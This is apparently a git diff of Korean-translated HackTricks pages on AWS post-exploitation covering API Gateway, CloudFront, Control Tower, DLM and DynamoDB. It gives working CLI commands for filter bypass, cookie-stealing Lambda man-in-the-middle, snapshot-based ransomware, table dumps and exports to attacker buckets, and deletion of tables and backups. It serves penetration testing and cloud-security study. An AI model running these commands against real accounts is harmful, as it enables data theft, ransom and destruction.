보내면 해당 필터를 우회할 수 있습니다. +하지만 **`Content-type: text/json`**으로 요청을 보내면 해당 필터를 우회할 수 있었다. -마지막으로, API Gateway가 `Get`과 `Options`만 허용하므로, 본문에 쿼리를 포함한 POST 요청을 보내고 헤더 `X-HTTP-Method-Override: GET`을 사용하여 임의의 dynamoDB 쿼리를 제한 없이 보낼 수 있었습니다: +마지막으로, API Gateway가 `Get`과 `Options`만 허용했기 때문에, 바디에 쿼리를 넣고 헤더 `X-HTTP-Method-Override: GET`을 사용해 POST 요청을 보내면 제한 없이 임의의 dynamoDB 쿼리를 전송할 수 있었다: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` @@ -40,7 +40,7 @@ The **API Key** just need to be **included** inside a **HTTP header** called **` ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **기존 Gateway Response를 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**. +권한 `apigateway:UpdateGatewayResponse` 및 `apigateway:CreateDeployment`를 가진 공격자는 **기존 Gateway Response를 수정하여 custom headers나 response templates를 포함시키고, 이를 통해 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근. +**잠재적 영향**: 민감한 정보의 Leakage, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근. > [!NOTE] > 테스트 필요 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -`apigateway:UpdateStage` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway 단계를 수정하여 트래픽을 다른 단계로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**. +`apigateway:UpdateStage` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: 캐시된 데이터에 대한 무단 접근, API 트래픽의 중단 또는 가로채기. +**잠재적 영향**: 캐시된 데이터에 대한 무단 액세스, API 트래픽 중단 또는 가로채기. > [!NOTE] > 테스트 필요 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -`apigateway:PutMethodResponse` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway REST API 메서드의 메서드 응답을 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**. +권한 `apigateway:PutMethodResponse` 및 `apigateway:CreateDeployment`를 가진 공격자는 **기존 API Gateway REST API 메서드의 method response를 수정하여 맞춤 헤더나 응답 템플릿을 포함시킴으로써 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근. +**잠재적 영향**: Leakage of sensitive information, 악의적 스크립트 실행, 또는 API 리소스에 대한 무단 액세스. > [!NOTE] > 테스트 필요 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -`apigateway:UpdateRestApi` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다**. +권한 `apigateway:UpdateRestApi` 및 `apigateway:CreateDeployment`를 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경함으로써 API의 보안을 약화시킬 수 있습니다**. ```bash API_ID="your-api-id" @@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: API의 보안을 약화시켜, 무단 접근을 허용하거나 민감한 정보를 노출할 수 있습니다. +**Potential Impact**: API 보안 약화 — 잠재적으로 무단 접근을 허용하거나 민감한 정보를 노출시킬 수 있습니다. > [!NOTE] > 테스트 필요 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새 API 키를 생성하고, 이를 사용 계획에 연결한 다음, 이러한 키를 사용하여 API에 무단 접근할 수 있습니다**. +`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새로운 API keys를 생성하고 이를 usage plans에 연동한 다음, 이 키들로 APIs에 무단 접근할 수 있습니다**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` -**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 통제 우회. +**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 제어 우회. > [!NOTE] > 테스트 필요 -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 86e7ee60a..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**가 **CloudFront를 통한 통신**에 추가되거나 (이미 사용 중인 경우 수정됨) 사용자 정보를 **훔치기** 위한 몇 가지 다른 시나리오를 제안합니다 (세션 **쿠키**와 같은) 및 **응답**을 **수정**합니다 (악성 JS 스크립트 주입). - -#### 시나리오 1: CloudFront가 버킷의 일부 HTML에 접근하도록 구성된 MitM - -- **악성** **함수**를 **생성**합니다. -- CloudFront 배포와 **연결**합니다. -- **이벤트 유형을 "Viewer Response"**로 설정합니다. - -응답에 접근하여 사용자의 쿠키를 훔치고 악성 JS를 주입할 수 있습니다. - -#### 시나리오 2: CloudFront가 이미 lambda 함수를 사용하는 MitM - -- 민감한 정보를 훔치기 위해 lambda 함수의 **코드를 수정**합니다. - -이 시나리오를 재현하기 위한 [**tf 코드**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..d5869edbb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)에서는 **Lambda**를 **communication through CloudFront**에 추가(또는 이미 사용 중이면 수정)하여 세션 **cookie**와 같은 사용자 정보를 **stealing**하고 **response**를 **modifying**(악성 JS 스크립트 주입)하는 여러 시나리오를 제시합니다. + +#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket + +- **Create** 악성 **function**. +- **Associate** 이를 CloudFront distribution과 연동합니다. +- Set the **event type to "Viewer Response"**. + +응답에 접근하면 사용자 cookie를 탈취하고 악성 JS를 주입할 수 있습니다. + +#### scenario 2: MitM where CloudFront is already using a lambda function + +- lambda function의 코드를 **Modify the code**하여 민감한 정보를 탈취합니다. + +재현을 위한 [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index 664cb8799..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Control Tower Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Control Tower - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Enable / Disable Controls - -계정을 추가로 악용하기 위해 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다: -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..9a6ad2ba4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### 컨트롤 활성화/비활성화 + +계정을 더 exploit하기 위해서는 Control Tower 컨트롤을 비활성화/활성화해야 할 수 있습니다: +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index 47111f06e..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## 데이터 라이프사이클 관리자 (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -랜섬웨어 공격은 가능한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제함으로써 실행될 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성함으로써 가능할 수 있습니다. - -먼저, 인스턴스 ID, 볼륨 ID, 암호화 상태, 연결 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용할 것입니다. - -`aws ec2 describe-volumes` - -둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 특정 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 사항이 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -정책 문서의 템플릿은 여기에서 볼 수 있습니다: -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..6497d0ca0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +가능한 많은 EBS volumes를 암호화한 다음 현재 EC2 instances, EBS volumes 및 snapshots를 삭제하여 랜섬웨어 공격을 수행할 수 있습니다. 이 악의적 활동을 자동화하기 위해 Amazon DLM을 사용하여 snapshots를 다른 AWS 계정의 KMS key로 암호화하고 암호화된 snapshots를 다른 계정으로 전송할 수 있습니다. 또는 암호화하지 않은 snapshots를 자신이 관리하는 계정으로 전송한 뒤 그곳에서 암호화할 수도 있습니다. 기존 EBS volumes나 snapshots를 직접 암호화하는 것은 간단하지 않지만, 새 volume 또는 snapshot을 생성함으로써 가능하게 할 수 있습니다. + +먼저, instance ID, volume ID, encryption status, attachment status, volume type 등 볼륨 정보를 수집하기 위해 다음 명령을 사용합니다. + +`aws ec2 describe-volumes` + +그다음, lifecycle policy를 생성합니다. 이 명령은 DLM API를 사용하여 지정된 볼륨의 일일 스냅샷을 자동으로 찍고 지정된 시간에 실행되도록 lifecycle policy를 설정합니다. 또한 snapshots에 특정 태그를 적용하고 볼륨에서 snapshots로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 스케줄, 암호화용 선택적 KMS key의 ARN 및 snapshot 공유 대상 계정 등 lifecycle policy의 세부사항이 포함되며, 이는 피해자의 CloudTrail 로그에 기록됩니다. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +정책 문서의 템플릿은 여기에서 볼 수 있습니다: +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 63% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 543d07161..7a7bbb78c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` -이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알아야 합니다(테이블 메타데이터(`describe-table`)를 조회하면 알 수 있습니다). +이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알고 있어야 합니다(테이블 메타데이터를 가져오면 알 수 있습니다(`describe-table`).). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc +**Potential Impact:** Indirect privesc — 테이블에서 민감한 정보를 찾아 악용될 수 있음 ### `dynamodb:GetItem` -**이전 권한들과 유사하게** 이 권한은 잠재적 공격자가 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 때 단일 테이블의 값을 읽을 수 있게 합니다: +**이전 권한들과 유사하게** 이 권한은 공격자가 특정 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 경우 단 1개의 테이블에서 해당 항목의 값을 읽을 수 있도록 허용한다: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**잠재적 영향:** 테이블 내 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음 +**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 일으킬 수 있음 ### `dynamodb:Query` -**이전 권한들과 유사하게** 이 권한은 공격자가 조회하려는 항목의 primary key(기본 키)가 주어졌을 때 단 하나의 테이블에서 값을 읽을 수 있게 해준다. 그것은 [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)를 사용할 수 있게 하지만, primary key(반드시 포함되어야 함)에 대해 허용되는 유일한 비교는 "EQ"이므로 요청 하나로 전체 DB를 가져오기 위해 비교 연산을 사용할 수 없다. +**Similar to the previous permissions** 이 권한은 잠재적 공격자가 조회하려는 항목의 기본 키를 알고 있을 때 단 하나의 테이블에서 값만 읽을 수 있도록 허용한다. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키(반드시 포함되어야 함)에 대해 허용되는 비교는 "EQ"뿐이므로 요청 하나로 전체 데이터베이스를 가져오기 위해 비교 연산을 사용할 수 없다. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접 privesc 가능 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 초래할 수 있음 ### `dynamodb:Scan` -이 권한을 사용하면 **테이블 전체를 쉽게 dump**할 수 있습니다. +이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있음 ### `dynamodb:PartiQLSelect` -이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**. +이 권한을 사용하면 **dump the entire table easily**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -이 권한은 `batch-execute-statement`와 같은 작업을 수행할 수 있도록 허용합니다: +이 권한은 또한 다음과 같이 `batch-execute-statement`를 수행할 수 있도록 허용합니다: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -하지만 primary key에 값을 지정해야 해서, 그다지 유용하지 않다. +하지만 기본 키에 값을 지정해야 하므로, 그다지 유용하지 않습니다. -**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접 privesc를 초래할 수 있습니다. ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -이 권한은 attacker가 **export the whole table to a S3 bucket**할 수 있게 한다: +이 권한은 공격자가 **선택한 S3 버킷으로 테이블 전체를 내보낼 수 있게 합니다:** ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -이 작업이 동작하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 기능이 있는지 다음과 같이 확인할 수 있습니다: +이것이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 그것이 적용되어 있는지 확인하려면: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**잠재적 영향:** 테이블에서 민감한 정보를 찾아내어 간접적인 privesc +**Potential Impact:** 테이블에서 민감한 정보를 찾아내어 간접 privesc ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성**할 수 있습니다 (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 백업의 **정보**를 확인할 수 있으며, 그 정보는 **프로덕션 테이블에 더 이상 존재하지 않을 수 있는** 것들일 수 있습니다. +이 권한들이 있으면, 공격자는 **백업에서 새 테이블을 생성할 수 있습니다**(또는 심지어 백업을 생성한 뒤 다른 테이블에 복원할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 프로덕션 테이블에는 더 이상 존재하지 않을 수 있는 백업의 **정보**를 확인할 수 있습니다. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 Indirect privesc를 초래할 수 있음 +**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접 privesc을 유발할 수 있음 ### `dynamodb:PutItem` -이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, **해당 항목 전체가 새 항목으로 대체됩니다**. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성됩니다**. +이 권한은 사용자가 테이블에 **새 항목을 추가하거나 기존 항목을 새 항목으로 대체**할 수 있게 합니다. 동일한 기본 키가 이미 존재하면, **전체 항목이 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성**됩니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회가 악용될 수 있음 +**Potential Impact:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 기법을 악용할 수 있음 ### `dynamodb:UpdateItem` -이 권한은 사용자가 항목의 기존 속성을 **수정하거나 항목에 새로운 속성을 추가하는 것**을 허용합니다. 전체 항목을 **대체하지 않으며**, 지정된 속성들만 업데이트합니다. 테이블에 기본 키가 존재하지 않는 경우, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성들을 설정합니다. +이 권한은 사용자에게 항목의 기존 속성을 **수정하거나 항목에 새 속성을 추가**할 수 있게 해줍니다. 이는 전체 항목을 **대체하지 않으며** 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,11 +242,11 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되면 추가적인 vulnerabilities/bypasses를 악용할 수 있다 +**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 기법을 악용할 수 있습니다 ### `dynamodb:DeleteTable` -이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있다** +이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ @@ -256,29 +256,29 @@ aws dynamodb delete-table \ ### `dynamodb:DeleteBackup` -이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 시나리오에서 데이터 손실을 초래할 수 있습니다**. +이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 상황에서 데이터 손실을 초래할 수 있습니다**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**잠재적 영향**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없어 데이터 손실이 발생할 수 있습니다. +**Potential impact**: 재해 복구 시나리오에서 데이터 손실 및 백업으로부터 복구할 수 없음. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: 실제로 작동하는지 테스트 필요 -이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 다음 스트림에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경사항을 모니터링하고 exfiltrate할 수 있으며, 잠재적으로 data leakage로 이어질 수 있습니다. +이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 뒤 stream에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이는 공격자가 데이터 변경사항을 모니터링하고 exfiltrate할 수 있게 하며, 잠재적으로 data leakage로 이어질 수 있습니다. -1. DynamoDB 테이블에서 스트림 활성화: +1. DynamoDB 테이블에서 stream을 활성화: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. ARN 및 기타 세부 정보를 